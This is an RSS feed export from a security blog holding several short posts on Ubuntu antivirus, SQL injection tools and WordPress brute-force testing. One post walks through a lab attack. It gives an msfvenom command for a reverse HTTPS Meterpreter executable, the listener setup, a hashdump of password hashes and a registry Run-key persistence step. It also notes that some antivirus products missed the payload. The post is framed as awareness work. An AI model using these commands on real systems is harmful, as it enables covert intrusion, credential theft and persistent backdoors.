<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Security</title>
	<atom:link href="http://hackertarget.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackertarget.com</link>
	<description>Vulnerability Scanning and Assessments</description>
	<lastBuildDate>Sun, 05 Feb 2012 12:11:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ubuntu and AntiVirus</title>
		<link>http://hackertarget.com/2012/01/ubuntu-antivirus/</link>
		<comments>http://hackertarget.com/2012/01/ubuntu-antivirus/#comments</comments>
		<pubDate>Sat, 14 Jan 2012 03:36:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1735</guid>
		<description><![CDATA[Does Ubuntu need anti-virus? This is a question posed by many of the legions of new users who try out Ubuntu Linux everyday. New users dive into Linux booting up the massively popular Ubuntu Linux. Now for a quick background check; Ubuntu is stable, easy to use and a rock solid desktop. I have been [...]]]></description>
			<content:encoded><![CDATA[<p>Does Ubuntu need anti-virus? This is a question posed by many of the legions of new users who try out <a href="http://www.ubuntu.com">Ubuntu Linux</a> everyday. New users dive into Linux booting up the massively popular Ubuntu Linux. </p>
<p>Now for a quick background check; Ubuntu is stable, easy to use and a rock solid desktop. I have been using it since the Warty Warthog (Ubuntu 4.10 ~ 2004), it runs on all my systems: home server, virtual servers and laptops.</p>
<p>Back to the question:<br />
<h2>An Ubuntu Virus?</h2>
<p>, the short answer is no there is no significant threats to an Ubuntu system from a virus. There <a href="https://help.ubuntu.com/community/Antivirus">are cases</a> where you may want to run it on a desktop or server but <b>for the majority of users, you do not need antivirus on Ubuntu.</b></p>
<p><strong font-color="red">Keep in mind that while you don&#8217;t need anti-virus does not mean you don&#8217;t need to be security aware.</strong></p>
<p>Members of the Ubuntu community have put together an excellent <a href="https://wiki.ubuntu.com/BasicSecurity" title="Ubuntu Security Guide">introduction to Security on Ubuntu Linux</a>. There are also free <a href="http://hackertarget.com/nmap-scan/" title="Firewall Port Test">firewall test</a> and other <a href="http://hackertarget.com/free-security-vulnerability-scans/" title="Security Scanning Tools">scanning tools</a> available to ensure your network is correctly configured.</p>
<p>Once you have familiarized yourself with the concepts and information in the guide; if you are really keen (or paranoid) I would suggest a security addition to your systems, it is known as Host Based Intrusion Detection system. My <a href="http://en.wikipedia.org/wiki/Host-based_intrusion_detection_system">HIDS</a> agent of choice is <a href="http://www.ossec.net">ossec.net</a>, it will not detect a virus as such but it does alert you to anomalous behavior on the system by examining system logs and watching the file system. If you chose to run <a href="http://www.ossec.net">OSSEC</a> you probably do not need to run <a href="http://www.rootkit.nl/projects/rootkit_hunter.html">rkhunter</a> and <a href="http://www.chkrootkit.org">chkrootkit</a> that are mentioned on the <a href="https://wiki.ubuntu.com/BasicSecurity" title="Ubuntu Security Guide">Basic Security Wiki page</a>.</p>
<p>This old <a href="http://hackertarget.com/2009/08/ossec-introduction-and-installation-guide/" title="ossec ubuntu">install guide I did for OSSEC on Ubuntu</a> has the basic steps in getting it up and running.</p>
<p>Finally if you have a need for running anti-virus on Ubuntu, there is a good <a href="https://help.ubuntu.com/community/Antivirus">article on the Ubuntu wiki</a> that has links to the popular and free antivirus software available (such as AVG, Avast, Avira) and the open source <a href="http://www.clamav.net">clamAV</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2012/01/ubuntu-antivirus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection Recap</title>
		<link>http://hackertarget.com/2012/01/sql-injection-recap/</link>
		<comments>http://hackertarget.com/2012/01/sql-injection-recap/#comments</comments>
		<pubDate>Fri, 06 Jan 2012 09:20:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Breaches]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1622</guid>
		<description><![CDATA[During the Christmas break the Internet Storm Center had good coverage on the latest MSSQL based sql injection worm that appears to have infected over 1 million Microsoft based web pages. Recall back in November last year when we published a history of sql injection attacks, and followed that up with a sql injection tutorial. [...]]]></description>
			<content:encoded><![CDATA[<p>During the Christmas break the <a href="httpt://isc.sans.edu" title="ISC Diary">Internet Storm Center</a> had good coverage on the <a href="http://isc.sans.edu/diary.html?storyid=12304" title="Lilupophilupop tops 1million infected pages">latest MSSQL based sql injection</a> worm that appears to have infected over 1 million Microsoft based web pages.</p>
<p>Recall back in November last year when we published a <a href="http://hackertarget.com/10-years-of-sql-injection" title="sql injection attacks">history of sql injection</a> attacks, and followed that up with a <a href="http://hackertarget.com/sql-injection/" title="what is sql injection">sql injection tutorial</a>. The purpose of these publications is to increase awareness of sql injection and to familiarize users with securing dynamic web applications. For testing and understanding the attack we have an online <a href="http://hackertarget.com/free-sql-scan/" title="Free SQL Injection Scanner">sql injection test</a> that allows anyone to quickly test a HTTP GET based URL for a sql injection vulnerability.</p>
<p>It is normal to assume that when implementation of security has a cost associated with it; in the form of development time or code fixing, there will be those who hold off until disaster strikes. However it seems that unless that disaster directly affects the organisation, pushing applications out that have been untested or security reviewed continues to be the normal practice.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2012/01/sql-injection-recap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 100K Sites WordPress Usage Infographic</title>
		<link>http://hackertarget.com/2011/08/top-100k-sites-wordpress-usage-infographic/</link>
		<comments>http://hackertarget.com/2011/08/top-100k-sites-wordpress-usage-infographic/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 13:08:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Site Updates]]></category>
		<category><![CDATA[infographic]]></category>
		<category><![CDATA[visualization]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1555</guid>
		<description><![CDATA[WordPress.org have a post up detailing the &#8220;state of the word&#8221;. Around the same time we have been putting a wordpress infographic that highlights some of the findings from our analysis of wordpress usage among the top 100K sites (as rated by Alexa). WordPress Usage in the Top 100K Infographic]]></description>
			<content:encoded><![CDATA[<p>WordPress.org have a <a href="http://wordpress.org/news/2011/08/state-of-the-word/" title="State of the Word" target="_blank">post</a> up detailing the &#8220;state of the word&#8221;. </p>
<p>Around the same time we have been putting a wordpress <a href="http://www.good.is/infographics" title="What is an Infographic?" target="_blank">infographic</a> that highlights some of the findings from our analysis of wordpress usage among the top 100K sites (as rated by Alexa).</p>
<p><a href="http://hackertarget.com/wordpress-infographic/" title="WordPress Usage Statistics Infographic">WordPress Usage in the Top 100K Infographic</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/08/top-100k-sites-wordpress-usage-infographic/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL Injection Scanner List</title>
		<link>http://hackertarget.com/2011/07/sql-injection-scanner-list/</link>
		<comments>http://hackertarget.com/2011/07/sql-injection-scanner-list/#comments</comments>
		<pubDate>Fri, 22 Jul 2011 00:02:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1504</guid>
		<description><![CDATA[Coresec.org has an excellent summary of the wide range of SQL Injection scanning tools available from detection to automated exploitation and shells on a plate. Hit the link for the full list &#8211; SQL Injection Scanners]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.coresec.org">Coresec.org</a> has an excellent summary of the wide range of SQL Injection scanning tools available from detection to automated exploitation and shells on a plate.</p>
<div class="woo-sc-box normal   "><strong>Sqlninja</strong> ( http://sqlninja.sourceforge.net/ )<br />
Supports only Microsoft SQL Server.</p>
<p><strong>sqlmap</strong> ( http://sqlmap.sourceforge.net/ )<br />
Full support: MySQL, Oracle, PostgreSQL and Microsoft SQL Server.<br />
Partial support for: Microsoft Access, DB2, Informix, Sybase and Interbase.</p>
<p><strong>Pangolin 3.2.3 free edition</strong> ( http://down3.nosec.org/pangolin_free_edition_3.2.3.1105.zip )<br />
Your web applications using Access,DB2,Informix,Microsoft SQL Server 2000,Microsoft SQL Server 2005,Microsoft SQL Server 2008,MySQL,Oracle,PostgreSQL,Sqlite3,Sybase.<br />
Features: Auto-analyzing keyword, HTTPS support, Pre-Login, Bypass firewall setting, Injection Digger, Data dumper, etc.</p>
<p><strong>Havij v1.14 Advanced SQL Injection</strong> – free version ( http://www.itsecteam.com/files/havij/Havij1.14Free.rar )<br />
</div>
<p>Hit the link for the full list &#8211; <a href="http://www.coresec.org/2011/07/18/sql-injection-scanners/" title="SQL Injection Tool Summary">SQL Injection Scanners</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/07/sql-injection-scanner-list/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Security Testing WordPress</title>
		<link>http://hackertarget.com/2011/07/security-testing-wordpress/</link>
		<comments>http://hackertarget.com/2011/07/security-testing-wordpress/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 06:03:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1481</guid>
		<description><![CDATA[A couple of wordpress security assessment tools have popped up over the past couple of months, this has to be a good thing with the number of WordPress installations sky-rocketing. First of course there is the HackerTarget.com scan, externally facing and coming in at a fairly high level. The system downloads some of your pages, [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of wordpress security assessment tools have popped up over the past couple of months, this has to be a good thing with the number of WordPress installations sky-rocketing.</p>
<p>First of course there is the <a href="http://hackertarget.com/wordpress-security-scan/">HackerTarget.com scan</a>, externally facing and coming in at a fairly high level. The system downloads some of your pages, does analysis, checks a few additional links and gives you a tidy little report detailing any security issues discovered.</p>
<p>Our scan does not perform brute forcing of accounts, passwords or plugins. Brute Forcing is more appropriate in a targeted pen-test or black-box vulnerability assessment.</p>
<p>Simply put brute forcing for:<br />
<div class="shortcode-unorderedlist green-dot"></p>
<ul>
<li>Plugins is achieved by testing URL&#8217;s http://myexampleblog.cm/wp-content/plugins/$pluginname</li>
<li>Usernames can be brute forced with a POST request to the login form (Incorrect username)</li>
<li>Passwords can be brute forced (with valid username) by hitting the login form</li>
</ul>
<p></div>
</p>
<p>Additionally username&#8217;s can also be gathered through some WordPress themes, RSS feeds, and author page URI&#8217;s such as /blog/author/admin/.</p>
<p>These tools and scripts that can be utilized in your Penetration Testing of WordPress.</p>
<p>Metasploit has a <a href="http://www.metasploit.com/modules/auxiliary/scanner/http/wordpress_login_enum">module for enumerating usernames and brute forcing passwords</a>. It is solid and convenient; everyone has <a href="http://www.metasploit.com" target="_blank">Metasploit</a> installed&#8230; don&#8217;t they?  <img src='http://hackertarget.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>An NSE (nmap scripting engine) <a href="http://seclists.org/nmap-dev/2011/q1/806" target="_blank">script was released</a> for Nmap that does plugin brute forcing.</p>
<p>Just in the last few days a new tool hit the tubes <a href="http://www.ethicalhack3r.co.uk/security/introducing-wpscan-wordpress-security-scanner/" target="_blank">wpscan</a>. Still under development it does a few different checks including brute forcing for accounts.</p>
<p>All the tools referenced above are dedicated towards <strong>external testing</strong> of wordpress installations. There are <a href="http://wordpress.org/extend/plugins/wp-security-scan/">other options</a> that involve installation of plugins into the wordpress installations for deeper monitoring.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/07/security-testing-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backdoor Corporate Networks with Metasploit</title>
		<link>http://hackertarget.com/2011/07/backdoor-corporate-networks-with-metasploit/</link>
		<comments>http://hackertarget.com/2011/07/backdoor-corporate-networks-with-metasploit/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 12:55:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security News]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1407</guid>
		<description><![CDATA[HD Moore recently announced a new post exploitation tool offering Meterpreter sessions over HTTPS (HTTP) that will traverse the corporate proxy. Variations on this have been available previously but have been for a number of reasons been not so stable. Let&#8217;s first look at a common locked down Corporate Network. Then we will show how [...]]]></description>
			<content:encoded><![CDATA[<p>HD Moore <a title="Rapid 7 Blog post on Meterpreter over HTTPS" href="https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication">recently announced a new post exploitation tool</a> offering Meterpreter sessions over HTTPS (HTTP) that will traverse the corporate proxy. Variations on this have been available previously but have been for a number of reasons been not so stable.</p>
<div class="woo-sc-box info   ">The purpose of this post is to raise awareness. Many IT folks are comfortable with a firewall, regular patching and antivirus. All good right?</div>
<p>Let&#8217;s first look at a common locked down Corporate Network. Then we will show how pwnage is not difficult with this new Payload.</p>
<p><img src="http://hackertarget.com/wp-content/uploads/2011/07/corporate-network-with-proxy-300x219.png" style="border: 0px;"></p>
<p><strong>Lab Setup</strong><br />
I am simulating the network with 3 virtual guest machines and the host Ubuntu Linux system. 1 virtual guest will act as the Firewall and Proxy, while the 2 other guests are Windows clients that will be the targets. The laptop host in this lab is the attacker on the Internet.</p>
<table class="noborder" style="width: 540px;" cellspacing="0">
<tbody>
<tr class="table-top">
<td style="font-size: 12px;">System</td>
<td align="center" style="font-size: 12px;">Operating System</td>
<td align="center" style="font-size: 12px;">IP Address</td>
</tr>
<tr class="table-bl">
<td style="font-size: 12px;">Laptop 4gb ram running VirtualBox</td>
<td class="td-lightbl" style="font-size: 12px;">Ubuntu 11.04</td>
<td class="td-lightbl" style="font-size: 12px;">Host Only Networking: 192.168.56.1</td>
</tr>
<tr class="table-bl">
<td style="font-size: 12px;">Linux Gateway<br />guest1</td>
<td class="td-lightbl" style="font-size: 12px;"><a href="http://www.smoothwall.org/">Smoothwall</a> with Proxy and Outbound Firewall Rules</td>
<td class="td-lightbl" style="font-size: 12px;">Host Only Network: 192.168.56.101<br />
Host Only Network2: 10.10.10.1</td>
</tr>
<tr class="table-bl">
<td style="font-size: 12px;">Windows Victim1<br />guest2</td>
<td class="td-lightbl" style="font-size: 12px;">Windows XP Service Pack 3<br />no additional patches</td>
<td class="td-lightbl" style="font-size: 12px;">Host Only Network2: 10.10.10.199</td>
</tr>
<tr class="table-bl">
<td style="font-size: 12px;">Windows Victim2<br />guest3</td>
<td class="td-lightbl" style="font-size: 12px;">Windows 7 Enterprise<br />fully patched</td>
<td class="td-lightbl" style="font-size: 12px;">Host Only Network2: 10.10.10.198</td>
</tr>
</tbody>
</table>
<p>On the virtual gateway Smoothwall box I configured DHCP, Proxy, Snort and Firewall Rules to block outbound traffic. Only opened 22 (for sftp) and proxy port (tcp 800). This has simulated the corporate network in the diagram above.</p>
<p>Now build the malicious executable. </p>
<div class="woo-sc-box note   ">In this test we are building an exe to launch the Payload. Code execution on the client host could be accomplished in many ways, exploitation via social engineering, emailed links with malicious java applets, client based exploits etc.</div>
<p>On the Laptop I am running Metasploit Framework 3.7.2.</p>
<blockquote>
<p>/opt/framework-3.7.2/msf3# msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=192.168.56.1 LPORT=443 &gt; evil_https.exe</p></blockquote>
<p>Now to setup the listener on the laptop.</p>
<blockquote><p>msf &gt; use exploit/multi/handler<br />
msf exploit(handler) &gt; set PAYLOAD windows/meterpreter/reverse_https<br />
PAYLOAD =&gt; windows/meterpreter/reverse_https<br />
msf exploit(handler) &gt; set LHOST 192.168.56.1<br />
LHOST =&gt; 192.168.56.1<br />
msf exploit(handler) &gt; set SessionCommunicationTimeout 0<br />
SessionCommunicationTimeout =&gt; 0<br />
msf exploit(handler) &gt; set ExitOnSession false<br />
ExitOnSession =&gt; false<br />
msf exploit(handler) &gt; set LPORT 443<br />
LPORT =&gt; 443<br />
msf exploit(handler) &gt; exploit -j<br />
[*] Exploit running as background job.<br />
[*] Started HTTPS reverse handler on https://192.168.56.1:443/<br />
[*] Starting the payload handler&#8230;<br />
msf exploit(handler) &gt;</p></blockquote>
<p>Use scp or whatever to copy evil_https.exe to the Windows XP system and then run it. </p>
<p>Back in the console on the Linux host we see.</p>
<blockquote><p>[*] 192.168.56.101:43681 Request received for /INITM&#8230;<br />
[*] 192.168.56.101:43681 Staging connection for target /INITM received&#8230;<br />
[*] Patched transport at offset 486516&#8230;<br />
[*] Patched URL at offset 486248&#8230;<br />
[*] Patched Expiration Timeout at offset 641856&#8230;<br />
[*] Patched Communication Timeout at offset 641860&#8230;<br />
[*] Meterpreter session 1 opened (192.168.56.1:443 -&gt; 192.168.56.101:43681) at Fri Jul 15 12:09:01 +1000 2011</p>
<p>meterpreter &gt; hashdump<br />
Administrator:500:aad3b435b51404eexad3e435t51404ee:31d6cse0dfe6ae931b73c5ed7e0c089c0:::<br />
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br />
HelpAssistant:1000:e4c292ecc2957ce7fb630fc6166aa510:235f3388ca0a29e8494d047362de1507:::<br />
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c77865e3c4b213df710209775e335e62:::</p></blockquote>
<p>Evil_https.exe connected to the listener on Laptop. All communication took place over the proxy. Looking at netstat on the client XP machine we only see HTTPS connections to the proxy. A very normal type of connection.</p>
<p>How solid is the connection? Lets reboot the smoothwall proxy host.</p>
<p>Meterpreter session appears to hang during the reboot. Type a command; wait&#8230;. success!! The session over the proxy using HTTPS is re-established. I did not have to re-run executable. </p>
<blockquote><p>meterpreter &gt; ipconfig</p>
<p>AMD PCNET Family PCI Ethernet Adapter &#8211; Packet Scheduler Miniport<br />
Hardware MAC: 08:00:27:70:63:0d<br />
IP Address : 10.10.10.199<br />
Netmask : 255.255.255.0</p>
<p>MS TCP Loopback interface<br />
Hardware MAC: 00:00:00:00:00:00<br />
IP Address : 127.0.0.1<br />
Netmask : 255.0.0.0</p>
<p>meterpreter &gt; screenshot<br />
Screenshot saved to: /opt/framework-3.7.2/msf3/bFjkdUHa.jpeg</p></blockquote>
<p>Lets improve things and make it persistent on the client so that when the corporate user takes his laptop home we get a session from home, and then another session the next morning from the corporate network.</p>
<p>These commands manipulate the registry and will add evil_https.exe to the start-up programs on the client XP machine.</p>
<blockquote><p>meterpreter &gt; reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run<br />
Enumerating: HKLM\software\microsoft\windows\currentversion\run</p>
<p>Values (1):</p>
<p>VBoxTray</p>
<p>meterpreter &gt; reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v evil -d &#8216;C:\windows\evil_https.exe&#8217;<br />
Successful set evil.</p>
<p>meterpreter &gt; reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run<br />
Enumerating: HKLM\software\microsoft\windows\currentversion\run</p>
<p>Values (3):</p>
<p>VBoxTray<br />
evil</p>
<p>meterpreter &gt;</p></blockquote>
<p>Next I rebooted Windows XP and we received a new session on the listener after the reboot.</p>
<blockquote><p>msf exploit(handler) &gt;<br />
[*] 192.168.56.101:55182 Request received for /INITM&#8230;<br />
[*] 192.168.56.101:55182 Staging connection for target /INITM received&#8230;<br />
[*] Patched transport at offset 486516&#8230;<br />
[*] Patched URL at offset 486248&#8230;<br />
[*] Patched Expiration Timeout at offset 641856&#8230;<br />
[*] Patched Communication Timeout at offset 641860&#8230;<br />
[*] Meterpreter session 2 opened (192.168.56.1:443 -&gt; 192.168.56.101:55182) at Fri Jul 15 12:43:31 +1000 2011</p></blockquote>
<p>Nice, now as mentioned in the release blog post it should also be possible to quit out of the metasploit console and re-establish a session without touching the WinXP box.</p>
<p>I quit from Metasploit Console. Went and had some lunch.</p>
<p>Ok, after a great lunch I fired up the msfconsole using the same settings as before. I do not touch the XP machine.</p>
<blockquote><p>/opt/framework-3.7.2/msf3# ./msfconsole</p>
<p>| | _) |<br />
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|<br />
| | | __/ | ( |\__ \ | | | ( | | |<br />
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|<br />
_|</p>
<p>=[ metasploit v3.8.0-dev [core:3.8 api:1.0]<br />
+ &#8212; &#8211;=[ 711 exploits - 360 auxiliary - 58 post<br />
+ -- --=[ 225 payloads - 27 encoders - 8 nops<br />
=[ svn r13116 updated 8 days ago (2011.07.07)</p>
<p>msf &gt; use exploit/multi/handler<br />
msf exploit(handler) &gt; set PAYLOAD windows/meterpreter/reverse_https<br />
PAYLOAD =&gt; windows/meterpreter/reverse_https<br />
msf exploit(handler) &gt; set LHOST 192.168.56.1<br />
LHOST =&gt; 192.168.56.1<br />
msf exploit(handler) &gt; set LPORT 443<br />
LPORT =&gt; 443<br />
msf exploit(handler) &gt; set SessionCommunicationTimeout 0<br />
SessionCommunicationTimeout =&gt; 0<br />
msf exploit(handler) &gt; set ExitOnSession false<br />
ExitOnSession =&gt; false<br />
msf exploit(handler) &gt; exploit -j<br />
[*] Exploit running as background job.</p>
<p>[*] Started HTTPS reverse handler on https://192.168.56.1:443/<br />
[*] Starting the payload handler&#8230;<br />
msf exploit(handler) &gt;<br />
[*] 192.168.56.101:40252 Request received for /CONN_pJGJgpWGAzUlDCTZ/&#8230;<br />
[*] Incoming orphaned session CONN_pJGJgpWGAzUlDCTZ, reattaching&#8230;<br />
[*] Meterpreter session 1 opened (192.168.56.1:443 -&gt; 192.168.56.101:40252) at Fri Jul 15 13:57:34 +1000 2011</p></blockquote>
<p>Wow, that is nice the client machine reconnected. This new payload is stable and undeniably dangerous.</p>
<p>Righto, same deal on fully patched Windows7 Enterprise with &#8220;Work Network Settings&#8221; (no Anti-Virus).</p>
<blockquote><p>meterpreter &gt;<br />
[*] 192.168.56.101:50910 Request received for /INITM&#8230;<br />
[*] 192.168.56.101:50910 Staging connection for target /INITM received&#8230;<br />
[*] Patched transport at offset 486516&#8230;<br />
[*] Patched URL at offset 486248&#8230;<br />
[*] Patched Expiration Timeout at offset 641856&#8230;<br />
[*] Patched Communication Timeout at offset 641860&#8230;<br />
[*] Meterpreter session 2 opened (192.168.56.1:443 -&gt; 192.168.56.101:50910) at Fri Jul 15 14:22:07 +1000 2011</p>
<p>meterpreter &gt;<br />
msf exploit(handler) &gt; sessions -i 2<br />
[*] Starting interaction with 2&#8230;</p>
<p>meterpreter &gt; ipconfig</p>
<p>Intel(R) PRO/1000 MT Desktop Adapter<br />
Hardware MAC: 08:00:27:ef:f4:61<br />
IP Address : 10.10.10.198<br />
Netmask : 255.255.255.0</p>
<p>meterpreter &gt; sysinfo<br />
System Language : en_AU<br />
OS : Windows 7 (Build 7600).<br />
Computer : TEST-VM2<br />
Architecture : x86<br />
Meterpreter : x86/win32<br />
meterpreter &gt; run getcountermeasure<br />
[*] Running Getcountermeasure on the target&#8230;<br />
[*] Checking for contermeasures&#8230;<br />
[*] Getting Windows Built in Firewall configuration&#8230;<br />
[*]<br />
[*] Domain profile configuration:<br />
[*] &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] Operational mode = Enable<br />
[*] Exception mode = Enable<br />
[*]<br />
[*] Standard profile configuration (current):<br />
[*] &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] Operational mode = Enable<br />
[*] Exception mode = Enable<br />
[*]<br />
[*] Checking DEP Support Policy&#8230;<br />
meterpreter &gt;</p></blockquote>
<h2>Booya!</h2>
<p>Note that both the client systems were not running any Anti-virus. The executable may have been blocked if they were.</p>
<p>Lets check virustotal.com. Remember this is a vanilla payload from <a href="https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom" title="msfvenom introduction" target="_blank">msfvenom</a>. I have not used exe templates or attempted additional tricks to avoid Anti-virus detection.</p>
<p><img src="http://hackertarget.com/wp-content/uploads/2011/07/virustotal1-300x159.png" style="border: 0px;"></p>
<p>Quite a few anti-virus programs detected the executable as dangerous (27 out of 43). Let&#8217;s have a closer look at corporate favourites like <a href="http://www.symantec.com/" title="Symantec Anti-Virus" target="_blank">Symantec</a> and <a href="http://us.trendmicro.com/us/home/index.html" target="_blank">Trend</a>. </p>
<p><img src="http://hackertarget.com/wp-content/uploads/2011/07/virustotal2-300x113.png" style="border: 0px;"></p>
<p>Symantec and Trend did not detect the executable as dangerous.</p>
<div class="woo-sc-box note   ">Corporate Networks face a serious threat from this type of attack. The attack traffic is wrapped in SSL so filtering will not see much unless you are decrypting at the proxy, which for most organizations is unlikely.</div>
<p>By understanding the attack you can then start to discuss and find effective ways to defend against these types of targeted attacks.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/07/backdoor-corporate-networks-with-metasploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Winter Updates</title>
		<link>http://hackertarget.com/2011/07/winter-updates/</link>
		<comments>http://hackertarget.com/2011/07/winter-updates/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 03:49:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Site Updates]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1383</guid>
		<description><![CDATA[Being mid-winter down here in Sydney, its been a time to hunker down and drink copious amounts of coffee. While doing that we have also pushed out many changes and updates to the scanning system and site. If you find any bugs, drop us a line.]]></description>
			<content:encoded><![CDATA[<p>Being mid-winter down here in Sydney, its been a time to hunker down and drink copious amounts of coffee.</p>
<p>While doing that we have also pushed out many changes and updates to the scanning system and site.</p>
<div class="shortcode-unorderedlist star"></p>
<ul>
<li>Backend, bug fixes in some of the backend scans. Improvements to other scans including improved results layout and more security checks.</li>
<li>Theme Refresh, we have stuck with the same Wootheme but have tidied up and done some updates. Hopefully the options and information is now clearer making it easier for you to get on with scanning and securing your systems.</li>
<li>Look out for upcoming exploitation demonstration posts and tutorials for the security newbies.</li>
</ul>
<p></div>

<p>If you find any bugs, drop us a line.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/07/winter-updates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Data Breaches Visualized</title>
		<link>http://hackertarget.com/2011/07/data-breaches-visualized/</link>
		<comments>http://hackertarget.com/2011/07/data-breaches-visualized/#comments</comments>
		<pubDate>Mon, 11 Jul 2011 01:52:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Breaches]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1233</guid>
		<description><![CDATA[Nathan from Flowing data has put together an excellent graphical representation of the largest data breaches of all time. Data was sourced from Dataloss DB. Sony has been having all sorts of data breach problems lately — namely a million passwords from the Sony Pictures site, 77 million accounts from the PlayStation Network, and nearly [...]]]></description>
			<content:encoded><![CDATA[<p>Nathan from <a href="http://flowingdata.com/" target="_blank">Flowing data</a> has put together an excellent graphical representation of the <a href="http://flowingdata.com/2011/06/13/largest-data-breaches-of-all-time/" target="_blank">largest data breaches of all time</a>. Data was sourced from <a href="http://datalossdb.org/" target="_blank">Dataloss DB</a>.</p>
<blockquote class="bubble"><p>Sony has been having all sorts of data breach problems lately — namely a million passwords from the Sony Pictures site, 77 million accounts from the PlayStation Network, and nearly 25 million user accounts from Online Entertainment. I was curious how these recent attacks compared to the largest known data loss incidents, so I headed over to DataLossDB. Sony now holds spots #4 and #10 for largest breaches of all time.</p></blockquote>
<p>Recently I put together a slide rocket of <a href="http://hackertarget.com/10-years-of-sql-injection/" title="SQL Injection History">10 years of SQL Injection History</a>, however I don&#8217;t think my design Fu is quite up there with the flowing data guys. <img src='http://hackertarget.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://flowingdata.com/2011/06/13/largest-data-breaches-of-all-time/">Largest Data Breaches of All Time</a> &#8211; FlowingData.com</p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/07/data-breaches-visualized/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hydra 6.4 Password Brute Forcer</title>
		<link>http://hackertarget.com/2011/06/hydra-6-4-password-brute-forcer/</link>
		<comments>http://hackertarget.com/2011/06/hydra-6-4-password-brute-forcer/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 10:02:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1108</guid>
